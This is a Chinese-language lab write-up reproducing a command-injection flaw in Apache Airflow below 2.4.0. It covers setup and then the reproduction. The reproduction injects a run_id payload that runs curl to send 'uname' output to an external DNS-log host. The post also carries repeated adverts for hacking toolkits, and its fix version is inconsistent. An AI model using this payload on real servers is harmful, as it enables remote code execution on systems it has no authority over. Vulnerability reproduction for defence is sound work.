漏洞描述:
Apache Airflow 是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow 可以定义一组有依赖的任务,按照依赖依次执行。该漏洞影响版本Apache Airflow <2.4.0
;当攻击者可访问到Apache Airflow的后台,且环境中存在默认Example Dags
,则可构造恶意请求借助run_id 执行任意命令。
准备环境:
Ubuntu、apache airflow2.3.4、python3.8、mysql5.7.39
网络安全全套教程+全套工具包+渗透书籍+技术文档加微信【anquan455】免费领取
一、环境搭建:
1、指定air-flow主目录:
export AIRFLOW_HOME=~/airflow
2、air-flow安装
pip3 install apache-airflow==2.3.4
图片.png
3、初始化
执行airflow进行初始化:
图片.png
3、配置文件修改:
(1)初始化后,会在airflow主目录生成airflow.cfg文件:
图片.png编辑两个地方:
(A)
#executor = SequentialExecutor 修改为:
executor = LocalExecutor
图片.png
(B)
#sql_alchemy_conn = sqlite:////root/airflow/airflow.db 修改为:
sql_alchemy_conn = mysql://airflowdb:airflowdb123@localhost:3306/airflowdb
图片.png
(2)修改mysql配置文件my.cnf,在[mysqld]中添加:
explicit_defaults_for_timestamp = true
我直接用的宝塔,在配置里面已经存在:
图片.png
修改后重启mysql
(3)添加一个名为airflowdb的数据库:
图片.png<注意:数据库引擎建议为innodb,否则会报错“Specified key was too long; max key length is 1000 bytes
”>
4、数据库初始化
在~/airflow主目录执行:
airflow db init
图片.png
<注:该处若未安装mysqlclient,将会报错,
ModuleNotFoundError: No module named 'MySQLdb'
因为初始化会写入mysql
mysqlclinet安装:
python3 -m pip install mysqlclien
执行:
图片.png正常执行完毕后,会有“Initialization done”字样:
图片.png5、配置
创建登录用户:
airflow users create --username admin --firstname admin --lastname admin --role Admin --email admin@lab.com
图片.png
最后將提示设置密码:
图片.png
6、启动
(1)server
airflow webserver -p 11888
图片.png
(2)scheduler:
airflow scheduler
图片.png
界面:
图片.png
二、复现:
登录airflow:
图片.png设置run_id
在“example_bash_operator”行,点击action项的三角符号,点击“Trigger DAG w/ config”:
图片.png进入配置,
图片.png在“run id”处输入payload:
{"lab":"\";curl `uname`.****.dnslog.pw;\""}
网络安全全套教程+全套工具包+渗透书籍+技术文档加微信【anquan455】免费领取
图片.png
dnslog处查看结果:
图片.png漏洞修复:
官方已发布版本 2.4.3,可升级Apache Airflow版本到2.4.0或以上,或者停用默认 Dags。
网友评论